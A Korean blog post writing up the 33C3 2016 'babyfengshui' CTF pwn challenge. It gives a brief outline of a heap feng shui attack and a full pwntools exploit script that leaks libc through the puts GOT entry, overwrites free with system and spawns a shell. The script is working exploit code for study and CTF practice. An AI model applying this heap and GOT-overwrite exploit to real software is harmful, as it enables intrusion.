[33C3_2016] Babyfengshui

2019. 12. 6. 17:42·PWN/CTF
728x90

친구들이랑 1박2일로 서울여행 다녀와서 풀은 첫번째 문제!! 여행다녀오니깐 또 동기부여가 된다. : )

 

이문제는 Heap Feng Shui라는 기법을 사용해야하는데 할당된 청크의 레이아웃을 변조하는 공격 기법이다! UAF랑 비슷한거 같다.

 

익스는 대충

1. Heap Feng shui 사용해서 레이아웃을 변조

2. memory leak

3. free를 system으로 쓴 후

4. system("/bin/sh\x00") 실행

 

: )

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
 
s = process("./babyfengshui")
elf = ELF("./babyfengshui")
libc = ELF("./libc.so.6")
 
def add(des_size,name,length,text):
    s.sendlineafter("Action: ","0")
    s.sendlineafter(":",str(des_size))
    s.sendlineafter("name: ",name)
    s.sendlineafter("length: ",str(length))
    s.sendlineafter("text",text)
 
def delete(index):
    s.sendlineafter("Action: ","1")
    s.sendlineafter("index: ",str(index))
 
def display(index):
    s.sendlineafter("Action: ","2")
    s.sendlineafter("index: ",str(index))
 
def update(index,t_length,text):
    s.sendlineafter("Action: ","3")
    s.sendlineafter("index: ",str(index))
    s.sendlineafter("text length: ",str(t_length))
    s.sendlineafter("text: ",text)
 
def quit():
    s.sendlineafter("Action: ","4")
 
add(32,"A"*8,32,"1"*8)
add(32,"B"*8,32,"3"*8)
add(32,"C"*8,32,"/bin/sh\x00")
 
delete(0)
 
add(128,"D"*8,32,"5"*8)
 
pay = "5"*176
pay += p32(elf.got['puts'])
 
update(3,len(pay),pay)
 
display(1)
s.recvuntil("ption: ")
leak = u32(s.recv(4))
libc_base = leak - libc.symbols['puts']
print "libc_base : " + hex(libc_base)
system = libc_base + libc.symbols['system']
 
pay = "5"*176
pay += p32(elf.got['free'])
 
update(3,len(pay),pay)
update(1,4,p32(system))
 
delete(2)
 
s.interactive()
 
Colored by Color Scripter
cs
저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[darkctf] write-up  (0) 2020.09.28
[DownUnderCTF] Return to what's revenge  (0) 2020.09.20
[0CTF_2018] Babystack  (0) 2019.12.03
[CodeBlue_2017] Secret_mailer_service  (0) 2019.12.02
[CodeBlue_2017] simple_memo_pad  (0) 2019.12.01
'PWN/CTF' 카테고리의 다른 글
  • [darkctf] write-up
  • [DownUnderCTF] Return to what's revenge
  • [0CTF_2018] Babystack
  • [CodeBlue_2017] Secret_mailer_service
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[33C3_2016] Babyfengshui
상단으로

티스토리툴바